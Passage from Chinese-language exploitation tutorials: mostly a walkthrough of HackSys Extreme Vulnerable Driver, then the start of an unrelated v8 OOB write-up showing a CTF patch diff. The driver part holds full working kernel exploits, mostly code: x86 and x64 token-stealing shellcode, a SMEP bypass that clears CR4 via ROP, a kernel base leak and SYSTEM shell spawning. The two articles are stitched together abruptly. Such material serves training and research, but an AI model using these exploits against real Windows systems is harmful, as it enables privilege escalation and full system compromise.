03 9998dbd0 840bd3f4 88593e20 885a5738 00000000 nt!IopXxxControlFile+0x6aa
04 9998dc04 83e861ea 00000020 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
05 9998dc04 770a70b4 00000020 00000000 00000000 nt!KiFastCallEntry+0x12a
06 0013f9a8 770a5864 752f989d 00000020 00000000 ntdll!KiFastSystemCallRet
07 0013f9ac 752f989d 00000020 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc
08 0013fa0c 75e1a671 00000020 00222003 001a2630 KernelBase!DeviceIoControl+0xf6
09 0013fa38 00d21929 00000020 00222003 001a2630 kernel32!DeviceIoControlImplementation+0x80
其中0x00d21929地址对应主程序中`cmp esi, esp`(`call ds:__imp__DeviceIoControl@32`下一条指令)：
其传递给`KernelBase!DeviceIoControl`第二个参数0x00222003即驱动程序`IrpDeviceIoCtlHandler`函数中switch判断的`IoControlCode`：
## 0x02 HEVD—Stack Overflow
首先查看HEVD源码，其源码位于`HackSysExtremeVulnerableDriver-3.00\Driver\HEVD`目录下。HackSysExtremeVulnerableDriver.c文件与上述部分驱动程序示例结构类似，不再另行赘述。本节对其BufferOverflowStack.c文件：
#include "BufferOverflowStack.h"
#ifdef ALLOC_PRAGMA
#pragma alloc_text(PAGE, TriggerBufferOverflowStack)
#pragma alloc_text(PAGE, BufferOverflowStackIoctlHandler)
#endif // ALLOC_PRAGMA
/// <summary>
/// Trigger the buffer overflow in Stack Vulnerability
/// </summary>
/// <param name="UserBuffer">The pointer to user mode buffer</param>
/// <param name="Size">Size of the user mode buffer</param>
/// <returns>NTSTATUS</returns>
__declspec(safebuffers)
NTSTATUS
TriggerBufferOverflowStack(
_In_ PVOID UserBuffer,
_In_ SIZE_T Size
)
{
NTSTATUS Status = STATUS_SUCCESS;
ULONG KernelBuffer[BUFFER_SIZE] = { 0 };
PAGED_CODE();
__try
{
//
// Verify if the buffer resides in user mode
//
ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(UCHAR));
DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));
#ifdef SECURE
//
// Secure Note: This is secure because the developer is passing a size
// equal to size of KernelBuffer to RtlCopyMemory()/memcpy(). Hence,
// there will be no overflow
//
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#else
DbgPrint("[+] Triggering Buffer Overflow in Stack\n");
//
// Vulnerability Note: This is a vanilla Stack based Overflow vulnerability
// because the developer is passing the user supplied size directly to
// RtlCopyMemory()/memcpy() without validating if the size is greater or
// equal to the size of KernelBuffer
//
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
/// <summary>
/// Buffer Overflow Stack Ioctl Handler
/// </summary>
/// <param name="Irp">The pointer to IRP</param>
/// <param name="IrpSp">The pointer to IO_STACK_LOCATION structure</param>
/// <returns>NTSTATUS</returns>
NTSTATUS BufferOverflowStackIoctlHandler(
_In_ PIRP Irp,
_In_ PIO_STACK_LOCATION IrpSp
)
{
SIZE_T Size = 0;
PVOID UserBuffer = NULL;
NTSTATUS Status = STATUS_UNSUCCESSFUL;
UNREFERENCED_PARAMETER(Irp);
PAGED_CODE();
UserBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;
Size = IrpSp->Parameters.DeviceIoControl.InputBufferLength;
if (UserBuffer)
{
Status = TriggerBufferOverflowStack(UserBuffer, Size);
}
return Status;
}
漏洞位于`RtlCopyMemory((PVOID)KernelBuffer, UserBuffer,
Size);`一句，其在复制时使用`UserBuffer`长度，且未进行校验，如此一来，若`UserBuffer`长度超过`KernelBuffer`长度，可造成溢出。`KernelBuffer`长度在初始化时为0x800：
下面为触发漏洞POC：
#include <stdio.h>
#include <windows.h>
#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HEVD_IOCTL_BUFFER_OVERFLOW_STACK IOCTL(0x800)
int main()
{
HANDLE dev = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",GENERIC_READ | GENERIC_WRITE,NULL,NULL,OPEN_EXISTING,NULL,NULL);
if (dev == INVALID_HANDLE_VALUE)
{
printf("Failed!\n");
system("pause");
return -1;
}
printf("Done! Device Handle:0x%p\n",dev);
CHAR* chBuffer;
int chBufferLen = 0x824;
chBuffer = (CHAR*)malloc(chBufferLen);
ZeroMemory(chBuffer, chBufferLen);
memset(chBuffer, 0x41, chBufferLen);
DWORD size_returned = 0;
BOOL is_ok = DeviceIoControl(dev, HEVD_IOCTL_BUFFER_OVERFLOW_STACK,chBuffer,chBufferLen,NULL,0,&size_returned,NULL);
CloseHandle(dev);
system("pause");
return 0;
}
`int chBufferLen = 0x824;`正好可以覆盖到函数返回地址：
完成覆盖，BSOD：
上述POC仅仅是引发崩溃，下面编写Exp以执行Shellcode。Shellcode如下：
CHAR shellcode[] =
"\x60" //pushad
"\x31\xc0" //xor eax, eax
"\x64\x8b\x80\x24\x01\x00\x00" //mov eax,[fs:eax + 0x124]
"\x8b\x40\x50" //mov eax,[eax + 0x50]
"\x89\xc1" //mov ecx,eax
"\xba\x04\x00\x00\x00" //mov edx,0x4
"\x8b\x80\xb8\x00\x00\x00" //mov eax,[eax + 0xb8]<---- "\x2d\xb8\x00\x00\x00" //sub eax,0xb8 |
"\x39\x90\xb4\x00\x00\x00" //cmp[eax + 0xb4],edx |
"\x75\xed" //jnz -------------------- "\x8b\x90\xf8\x00\x00\x00" //mov edx,[eax + 0xf8]
"\x89\x91\xf8\x00\x00\x00" //mov[ecx + 0xf8],edx
"\x61" //popad
"\x31\xc0" //xor eax,eax
"\x5d" //pop ebp
"\xc2\x08\x00" //ret 0x8
;
`pushad`与`popad`及后续指令用于恢复执行环境，详见后文。`mov eax,[fs:eax +
0x124]`功能是获取`CurrentThread`指针内容，`fs:[0]`存储的是`_KPCR`结构：
ntdll!_KPCR
+0x000 NtTib : _NT_TIB
+0x000 Used_ExceptionList : Ptr32 _EXCEPTION_REGISTRATION_RECORD
+0x004 Used_StackBase : Ptr32 Void
+0x008 Spare2 : Ptr32 Void
+0x00c TssCopy : Ptr32 Void
+0x010 ContextSwitches : Uint4B
+0x014 SetMemberCopy : Uint4B
+0x018 Used_Self : Ptr32 Void
+0x01c SelfPcr : Ptr32 _KPCR
+0x020 Prcb : Ptr32 _KPRCB
+0x024 Irql : UChar
+0x028 IRR : Uint4B
+0x02c IrrActive : Uint4B
+0x030 IDR : Uint4B
+0x034 KdVersionBlock : Ptr32 Void
+0x038 IDT : Ptr32 _KIDTENTRY
+0x03c GDT : Ptr32 _KGDTENTRY
+0x040 TSS : Ptr32 _KTSS
+0x044 MajorVersion : Uint2B
+0x046 MinorVersion : Uint2B
+0x048 SetMember : Uint4B
+0x04c StallScaleFactor : Uint4B
+0x050 SpareUnused : UChar
+0x051 Number : UChar
+0x052 Spare0 : UChar
+0x053 SecondLevelCacheAssociativity : UChar
+0x054 VdmAlert : Uint4B
+0x058 KernelReserved : [14] Uint4B
+0x090 SecondLevelCacheSize : Uint4B
+0x094 HalReserved : [16] Uint4B
+0x0d4 InterruptMode : Uint4B
+0x0d8 Spare1 : UChar
+0x0dc KernelReserved2 : [17] Uint4B
+0x120 PrcbData : _KPRCB
其偏移0x120处存储的是`_KPRCB`：
ntdll!_KPRCB
+0x000 MinorVersion : Uint2B
+0x002 MajorVersion : Uint2B
+0x004 CurrentThread : Ptr32 _KTHREAD
+0x008 NextThread : Ptr32 _KTHREAD
+0x00c IdleThread : Ptr32 _KTHREAD
+0x010 LegacyNumber : UChar
+0x011 NestingLevel : UChar
+0x012 BuildType : Uint2B
+0x014 CpuType : Char
+0x015 CpuID : Char
+0x016 CpuStep : Uint2B
+0x016 CpuStepping : UChar
+0x017 CpuModel : UChar
+0x018 ProcessorState : _KPROCESSOR_STATE
......
故`mov eax,[fs:eax +
0x124]`指令中0x124偏移用于获取`_KPRCB`中`CurrentThread`指向内容。`_KTHREAD`偏移0x40处存储的是`_KAPC_STATE`：
ntdll!_KTHREAD
+0x000 Header : _DISPATCHER_HEADER
+0x010 CycleTime : Uint8B
+0x018 HighCycleTime : Uint4B
+0x020 QuantumTarget : Uint8B
+0x028 InitialStack : Ptr32 Void
+0x02c StackLimit : Ptr32 Void
+0x030 KernelStack : Ptr32 Void
+0x034 ThreadLock : Uint4B
+0x038 WaitRegister : _KWAIT_STATUS_REGISTER
+0x039 Running : UChar
+0x03a Alerted : [2] UChar
+0x03c KernelStackResident : Pos 0, 1 Bit
+0x03c ReadyTransition : Pos 1, 1 Bit
+0x03c ProcessReadyQueue : Pos 2, 1 Bit
+0x03c WaitNext : Pos 3, 1 Bit
+0x03c SystemAffinityActive : Pos 4, 1 Bit
+0x03c Alertable : Pos 5, 1 Bit
+0x03c GdiFlushActive : Pos 6, 1 Bit
+0x03c UserStackWalkActive : Pos 7, 1 Bit
+0x03c ApcInterruptRequest : Pos 8, 1 Bit
+0x03c ForceDeferSchedule : Pos 9, 1 Bit
+0x03c QuantumEndMigrate : Pos 10, 1 Bit
+0x03c UmsDirectedSwitchEnable : Pos 11, 1 Bit
+0x03c TimerActive : Pos 12, 1 Bit
+0x03c SystemThread : Pos 13, 1 Bit
+0x03c Reserved : Pos 14, 18 Bits
+0x03c MiscFlags : Int4B
+0x040 ApcState : _KAPC_STATE
......
`_KAPC_STATE`偏移0x10处存储的是指向`_KPROCESS`指针：
ntdll!_KAPC_STATE
+0x000 ApcListHead : [2] _LIST_ENTRY
+0x010 Process : Ptr32 _KPROCESS
+0x014 KernelApcInProgress : UChar
+0x015 KernelApcPending : UChar
+0x016 UserApcPending : UChar
而`_EPROCESS`结构第一项即为`_KPROCESS`，故获取到指向`_KPROCESS`指针等同于获取到`_EPROCESS`地址：
ntdll!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x098 ProcessLock : _EX_PUSH_LOCK
+0x0a0 CreateTime : _LARGE_INTEGER
+0x0a8 ExitTime : _LARGE_INTEGER
+0x0b0 RundownProtect : _EX_RUNDOWN_REF
+0x0b4 UniqueProcessId : Ptr32 Void
+0x0b8 ActiveProcessLinks : _LIST_ENTRY
+0x0c0 ProcessQuotaUsage : [2] Uint4B
+0x0c8 ProcessQuotaPeak : [2] Uint4B
+0x0d0 CommitCharge : Uint4B
+0x0d4 QuotaBlock : Ptr32 _EPROCESS_QUOTA_BLOCK
+0x0d8 CpuQuotaBlock : Ptr32 _PS_CPU_QUOTA_BLOCK
+0x0dc PeakVirtualSize : Uint4B
+0x0e0 VirtualSize : Uint4B
+0x0e4 SessionProcessLinks : _LIST_ENTRY
+0x0ec DebugPort : Ptr32 Void
+0x0f0 ExceptionPortData : Ptr32 Void
+0x0f0 ExceptionPortValue : Uint4B
+0x0f0 ExceptionPortState : Pos 0, 3 Bits
+0x0f4 ObjectTable : Ptr32 _HANDLE_TABLE
+0x0f8 Token : _EX_FAST_REF
......
由此`mov eax,[eax +
0x50]`指令中0x50偏移用于获取`_EPROCESS`。通过`ActiveProcessLinks`字段可以实现进程遍历(`mov eax,[eax
+ 0xb8]`与`sub eax,0xb8`)，查找`UniqueProcessId`字段等于4的进程(System进程PID为4，`cmp[eax +
0xb4],edx`)。最后通过`mov edx,[eax + 0xf8]`与`mov[ecx + 0xf8],edx`两条指令替换Token。
`xor eax,eax;pop ebp;retn 8`返回STATUS_SUCCESS给`IrpDeviceIoCtlHandler`函数：
完整Exploit如下：
#include <stdio.h>
#include <windows.h>
#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HEVD_IOCTL_BUFFER_OVERFLOW_STACK IOCTL(0x800)
int main()
{
HANDLE dev = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",GENERIC_READ | GENERIC_WRITE,NULL,NULL,OPEN_EXISTING,NULL,NULL);
if (dev == INVALID_HANDLE_VALUE)
{
printf("Failed!\n");
system("pause");
return -1;
}
printf("Done! Device Handle:0x%p\n",dev);
CHAR* chBuffer;
int chBufferLen = 0x824;
chBuffer = (CHAR*)malloc(chBufferLen);
ZeroMemory(chBuffer, chBufferLen);
memset(chBuffer, 0x41, chBufferLen-4);
CHAR* p =(CHAR*)VirtualAlloc(0, 0x60, 0x3000, 0x40);
ZeroMemory(p, 0x60);
__asm {
pushad;
mov edi, p;
mov [edi], 0x60;
mov dword ptr [edi + 0x1], 0x8B64C031;
mov dword ptr [edi + 0x5], 0x00012480;
mov dword ptr [edi + 0x9], 0x50408B00;
mov dword ptr [edi + 0xD], 0x04BAC189;
mov dword ptr [edi + 0x11], 0x8B000000;
mov dword ptr [edi + 0x15], 0x0000B880;
mov dword ptr [edi + 0x19], 0x00B82D00;
mov dword ptr [edi + 0x1D], 0x90390000;
mov dword ptr [edi + 0x21], 0x000000B4;
mov dword ptr [edi + 0x25], 0x908BED75;
mov dword ptr [edi + 0x29], 0x000000F8;
mov dword ptr [edi + 0x2D], 0x00F89189;
mov dword ptr [edi + 0x31], 0x31610000;
mov dword ptr [edi + 0x35], 0x08C25DC0;
mov eax, chBuffer;
mov[eax + 0x820], edi;
popad;
}
DWORD size_returned = 0;
BOOL is_ok = DeviceIoControl(dev,HEVD_IOCTL_BUFFER_OVERFLOW_STACK,chBuffer,chBufferLen,NULL,0,&size_returned,NULL);
CloseHandle(dev);
system("cmd.exe");
system("pause");
return 0;
}
成功：
## 0x03 Bypass SMEP & SMAP
SMEP(Supervisor Mode Execution Prevention)由Intel lvy Bridge引入，从Windows
8开始启用该特性，其作用在于禁止RING-0执行用户空间代码，而SMAP(Supervisor Mode Access Prevention)由Intel
Broadwell引入，相较SMEP增加读与写保护：
设置SMEP与SMAP位于CR4寄存器中：
本节内容笔者于Windows 10 1709 x64环境中调试完成(Exp并未执行成功，但笔者从中学到如何获取内核基址以及绕过SMEP)，内核版本如下：
> Windows 10 Kernel Version 16299 MP (1 procs) Free x64
> Built by: 16299.637.amd64fre.rs3_release_svc.180808-1748
查看CR4寄存器内容：
可以看到已启用SMEP。完整Exploit如下(来自[h0mbre's Github](https://github.com/h0mbre/Windows-Exploits/blob/master/Exploit-Code/HEVD/x64_StackOverflow_SMEP_Bypass.cpp))：
#include <iostream>
#include <string>
#include <Windows.h>
using namespace std;
#define DEVICE_NAME "\\\\.\\HackSysExtremeVulnerableDriver"
#define IOCTL 0x222003
typedef struct SYSTEM_MODULE {
ULONG Reserved1;
ULONG Reserved2;
ULONG Reserved3;
PVOID ImageBaseAddress;
ULONG ImageSize;
ULONG Flags;
WORD Id;
WORD Rank;
WORD LoadCount;
WORD NameOffset;
CHAR Name[256];
}SYSTEM_MODULE, * PSYSTEM_MODULE;
typedef struct SYSTEM_MODULE_INFORMATION {
ULONG ModulesCount;
SYSTEM_MODULE Modules[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemModuleInformation = 0xb
} SYSTEM_INFORMATION_CLASS;
typedef NTSTATUS(WINAPI* PNtQuerySystemInformation)(
__in SYSTEM_INFORMATION_CLASS SystemInformationClass,
__inout PVOID SystemInformation,
__in ULONG SystemInformationLength,
__out_opt PULONG ReturnLength
);
HANDLE grab_handle() {
HANDLE hFile = CreateFileA(DEVICE_NAME,
FILE_READ_ACCESS | FILE_WRITE_ACCESS,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
NULL);
if (hFile == INVALID_HANDLE_VALUE) {
cout << "[!] No handle to HackSysExtremeVulnerableDriver" << endl;
exit(1);
}
cout << "[>] Grabbed handle to HackSysExtremeVulnerableDriver: 0x" << hex
<< (INT64)hFile << endl;
return hFile;
}
void send_payload(HANDLE hFile, INT64 kernel_base) {
cout << "[>] Allocating RWX shellcode..." << endl;
// slightly altered shellcode from
// https://github.com/Cn33liz/HSEVD-StackOverflowX64/blob/master/HS-StackOverflowX64/HS-StackOverflowX64.c
// thank you @Cneelis
BYTE shellcode[] =
"\x65\x48\x8B\x14\x25\x88\x01\x00\x00" // mov rdx, [gs:188h] ; Get _ETHREAD pointer from KPCR
"\x4C\x8B\x82\xB8\x00\x00\x00" // mov r8, [rdx + b8h] ; _EPROCESS (kd> u PsGetCurrentProcess)
"\x4D\x8B\x88\xf0\x02\x00\x00" // mov r9, [r8 + 2f0h] ; ActiveProcessLinks list head
"\x49\x8B\x09" // mov rcx, [r9] ; Follow link to first process in list
//find_system_proc:
"\x48\x8B\x51\xF8" // mov rdx, [rcx - 8] ; Offset from ActiveProcessLinks to UniqueProcessId
"\x48\x83\xFA\x04" // cmp rdx, 4 ; Process with ID 4 is System process
"\x74\x05" // jz found_system ; Found SYSTEM token
"\x48\x8B\x09" // mov rcx, [rcx] ; Follow _LIST_ENTRY Flink pointer
"\xEB\xF1" // jmp find_system_proc ; Loop
//found_system:
"\x48\x8B\x41\x68" // mov rax, [rcx + 68h] ; Offset from ActiveProcessLinks to Token
"\x24\xF0" // and al, 0f0h ; Clear low 4 bits of _EX_FAST_REF structure
"\x49\x89\x80\x58\x03\x00\x00" // mov [r8 + 358h], rax ; Copy SYSTEM token to current process's token
"\x48\x83\xC4\x40" // add rsp, 040h
"\x48\x31\xF6" // xor rsi, rsi ; Zeroing out rsi register to avoid Crash
"\x48\x31\xC0" // xor rax, rax ; NTSTATUS Status = STATUS_SUCCESS
"\xc3";
LPVOID shellcode_addr = VirtualAlloc(NULL,
sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
memcpy(shellcode_addr, shellcode, sizeof(shellcode));
cout << "[>] Shellcode allocated in userland at: 0x" << (INT64)shellcode_addr
<< endl;
BYTE input_buff[2088] = { 0 };
INT64 pop_rcx_offset = kernel_base + 0x146580; // gadget 1
cout << "[>] POP RCX gadget located at: 0x" << pop_rcx_offset << endl;
INT64 rcx_value = 0x70678; // value we want placed in cr4
INT64 mov_cr4_offset = kernel_base + 0x3D6431; // gadget 2
cout << "[>] MOV CR4, RCX gadget located at: 0x" << mov_cr4_offset << endl;
memset(input_buff, '\x41', 2056);
memcpy(input_buff + 2056, (PINT64)&pop_rcx_offset, 8); // pop rcx
memcpy(input_buff + 2064, (PINT64)&rcx_value, 8); // disable SMEP value
memcpy(input_buff + 2072, (PINT64)&mov_cr4_offset, 8); // mov cr4, rcx
memcpy(input_buff + 2080, (PINT64)&shellcode_addr, 8); // shellcode
// keep this here for testing so you can see what normal buffers do to subsequent routines
// to learn from for execution restoration
/*
BYTE input_buff[2048] = { 0 };
memset(input_buff, '\x41', 2048);
*/
cout << "[>] Input buff located at: 0x" << (INT64)&input_buff << endl;
DWORD bytes_ret = 0x0;
cout << "[>] Sending payload..." << endl;
int result = DeviceIoControl(hFile,
IOCTL,
input_buff,
sizeof(input_buff),
NULL,
0,
&bytes_ret,
NULL);
if (!result) {
cout << "[!] DeviceIoControl failed!" << endl;
}
}
INT64 get_kernel_base() {
cout << "[>] Getting kernel base address..." << endl;
//https://github.com/koczkatamas/CVE-2016-0051/blob/master/EoP/Shellcode/Shellcode.cpp
//also using the same import technique that @tekwizz123 showed us
PNtQuerySystemInformation NtQuerySystemInformation =
(PNtQuerySystemInformation)GetProcAddress(GetModuleHandleA("ntdll.dll"),
"NtQuerySystemInformation");
if (!NtQuerySystemInformation) {
cout << "[!] Failed to get the address of NtQuerySystemInformation." << endl;
cout << "[!] Last error " << GetLastError() << endl;
exit(1);
}
ULONG len = 0;
NtQuerySystemInformation(SystemModuleInformation,
NULL,
0,
&len);
PSYSTEM_MODULE_INFORMATION pModuleInfo = (PSYSTEM_MODULE_INFORMATION)
VirtualAlloc(NULL,
len,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
NTSTATUS status = NtQuerySystemInformation(SystemModuleInformation,
pModuleInfo,
len,
&len);
if (status != (NTSTATUS)0x0) {
cout << "[!] NtQuerySystemInformation failed!" << endl;
exit(1);
}
PVOID kernelImageBase = pModuleInfo->Modules[0].ImageBaseAddress;
cout << "[>] ntoskrnl.exe base address: 0x" << hex << kernelImageBase << endl;
return (INT64)kernelImageBase;
}
void spawn_shell() {
cout << "[>] Spawning nt authority/system shell..." << endl;
PROCESS_INFORMATION pi;
ZeroMemory(&pi, sizeof(pi));
STARTUPINFOA si;
ZeroMemory(&si, sizeof(si));
CreateProcessA("C:\\Windows\\System32\\cmd.exe",
NULL,
NULL,
NULL,
0,
CREATE_NEW_CONSOLE,
NULL,
NULL,
&si,
&pi);
}
int main() {
HANDLE hFile = grab_handle();
INT64 kernel_base = get_kernel_base();
send_payload(hFile, kernel_base);
spawn_shell();
}
其获取内核基址采用`NtQuerySystemInformation`函数：
typedef struct SYSTEM_MODULE {
ULONG Reserved1;
ULONG Reserved2;
ULONG Reserved3;
PVOID ImageBaseAddress;
ULONG ImageSize;
ULONG Flags;
WORD Id;
WORD Rank;
WORD LoadCount;
WORD NameOffset;
CHAR Name[256];
}SYSTEM_MODULE, * PSYSTEM_MODULE;
typedef struct SYSTEM_MODULE_INFORMATION {
ULONG ModulesCount;
SYSTEM_MODULE Modules[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemModuleInformation = 0xb
} SYSTEM_INFORMATION_CLASS;
typedef NTSTATUS(WINAPI* PNtQuerySystemInformation)(
__in SYSTEM_INFORMATION_CLASS SystemInformationClass,
__inout PVOID SystemInformation,
__in ULONG SystemInformationLength,
__out_opt PULONG ReturnLength
);
.......
INT64 get_kernel_base() {
cout << "[>] Getting kernel base address..." << endl;
//Get NtQuerySystemInformation Address
PNtQuerySystemInformation NtQuerySystemInformation =
(PNtQuerySystemInformation)GetProcAddress(GetModuleHandleA("ntdll.dll"),
"NtQuerySystemInformation");
if (!NtQuerySystemInformation) {
cout << "[!] Failed to get the address of NtQuerySystemInformation." << endl;
cout << "[!] Last error " << GetLastError() << endl;
exit(1);
}
ULONG len = 0;
//Get Buffer Length
NtQuerySystemInformation(SystemModuleInformation,
NULL,
0,
&len);
//Allocate Memory
PSYSTEM_MODULE_INFORMATION pModuleInfo = (PSYSTEM_MODULE_INFORMATION)
VirtualAlloc(NULL,
len,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
//Get SYSTEM_MODULE_INFORMATION
NTSTATUS status = NtQuerySystemInformation(SystemModuleInformation,
pModuleInfo,
len,
&len);
if (status != (NTSTATUS)0x0) {
cout << "[!] NtQuerySystemInformation failed!" << endl;
exit(1);
}
PVOID kernelImageBase = pModuleInfo->Modules[0].ImageBaseAddress;
cout << "[>] ntoskrnl.exe base address: 0x" << hex << kernelImageBase << endl;
return (INT64)kernelImageBase;
}
之后Bypass
SMEP采用修改CR4寄存器，置其第21位为0。据笔者环境，`CR4=00000000001506f8`，应修改为`00000000000506f8`，Gadgets如下：
pop rcx;retn //nt!HvlEndSystemInterrupt+20
00000000000506f8 //CR4 Value
mov cr4, rcx;retn //nt!KeFlushCurrentTbImmediately+17
笔者环境中`_EPROCESS`结构与Exp作者略有不同，故修改Shellcode如下：
"\x54\x50\x51\x52\x53\x55\x56\x57\x41\x50\x41\x51\x41\x52\x41\x53\x41\x54\x41\x55\x41\x56\x41\x57\x9C" //PUSHAD
"\x65\x48\x8B\x14\x25\x88\x01\x00\x00" // mov rdx, [gs:188h] ; Get _ETHREAD pointer from KPCR
"\x4C\x8B\x82\xB8\x00\x00\x00" // mov r8, [rdx + b8h] ; _EPROCESS (kd> u PsGetCurrentProcess)
"\x4D\x8B\x88\xe8\x02\x00\x00" // mov r9, [r8 + 2e8h] ; ActiveProcessLinks list head
"\x49\x8B\x09" // mov rcx, [r9] ; Follow link to first process in list
//find_system_proc:
"\x48\x8B\x51\xF8" // mov rdx, [rcx - 8] ; Offset from ActiveProcessLinks to UniqueProcessId
"\x48\x83\xFA\x04" // cmp rdx, 4 ; Process with ID 4 is System process
"\x74\x05" // jz found_system ; Found SYSTEM token
"\x48\x8B\x09" // mov rcx, [rcx] ; Follow _LIST_ENTRY Flink pointer
"\xEB\xF1" // jmp find_system_proc ; Loop
//found_system:
"\x48\x8B\x41\x70" // mov rax, [rcx + 70h] ; Offset from ActiveProcessLinks to Token
"\x24\xF0" // and al, 0f0h ; Clear low 4 bits of _EX_FAST_REF structure
"\x49\x89\x80\x58\x03\x00\x00" // mov [r8 + 358h], rax ; Copy SYSTEM token to current process's token
"\x9D\x41\x5F\x41\x5E\x41\x5D\x41\x5C\x41\x5B\x41\x5A\x41\x59\x41\x58\x5F\x5E\x5D\x5B\x5A\x59\x58\x5C" //POPAD
"\x48\x83\xC4\x10" // add rsp, 010h
"\x48\x31\xC0" // xor rax, rax ; NTSTATUS Status = STATUS_SUCCESS
"\xc3";
其他部分与上节思路基本一致，不再赘述。笔者构造的Exploit可以于目标虚拟机中执行，修改CR4及替换Token完成后恢复原执行环境，崩溃如下：
由于知识储备有限，笔者尝试良久，未果。总结整体思路为：Get Kernel Base Address—>ROP(Modify CR4
value)—>Shellcode(User Space)。
## 0x04 参阅链接
* [I/O request packets—Microsoft Docs](https://docs.microsoft.com/en-us/windows-hardware/drivers/gettingstarted/i-o-request-packets)
* [Device nodes and device stacks—Microsoft Docs](https://docs.microsoft.com/en-us/windows-hardware/drivers/gettingstarted/device-nodes-and-device-stacks)
* [HelloWorld driver—Github](https://gist.github.com/hasherezade/ee1a1914dfa2920c77e82fd52717a8fb)
* [Write a Hello World Windows Driver (KMDF)—Microsoft Docs](https://docs.microsoft.com/zh-cn/windows-hardware/drivers/gettingstarted/writing-a-very-small-kmdf--driver)
* [Kernel Exploitation -> Stack Overflow—FuzzySecurity](https://www.fuzzysecurity.com/tutorials/expDev/14.html)
* [Windows SMEP Bypass:U=S—Core Security](https://www.coresecurity.com/sites/default/files/2020-06/Windows%20SMEP%20bypass%20U%20equals%20S_0.pdf)
* [Bypassing Intel SMEP on Windows 8 x64 Using Return-oriented Programming—PT Security](http://blog.ptsecurity.com/2012/09/bypassing-intel-smep-on-windows-8-x64.html)
* [x64_StackOverflow_SMEP_Bypass—Github](https://github.com/h0mbre/Windows-Exploits/blob/master/Exploit-Code/HEVD/x64_StackOverflow_SMEP_Bypass.cpp) | 社区文章 |
# OOB类型的v8逃逸总结
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
总结几道OOB类型的v8逃逸的利用方法，它们大多的利用手法都极为相似。
## 0x01 前置知识
OOB即缓冲区溢出，在v8中的OOB漏洞是比较容易利用的，一般的步骤就是利用OOB修改`ArrayBuffer`的`backing_store`和`byteLength`实现任意地址读写，也可以直接`OOB`读取和修改对象的`MAP`，构造`addressOf`和`fakeObject`原语。
## 0x02 普通OOB
### 0x02.00 starctf2019-oob
#### patch分析
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtins::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
SimpleInstallFunction(isolate_, proto, "find",
Builtins::kArrayPrototypeFind, 1, false);
SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
}
} // namespace
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
BUILTIN(ArrayPush) {
HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
+ CPP(ArrayOob) \
\
/* ArrayBuffer */ \
/* ES #sec-arraybuffer-constructor */ \
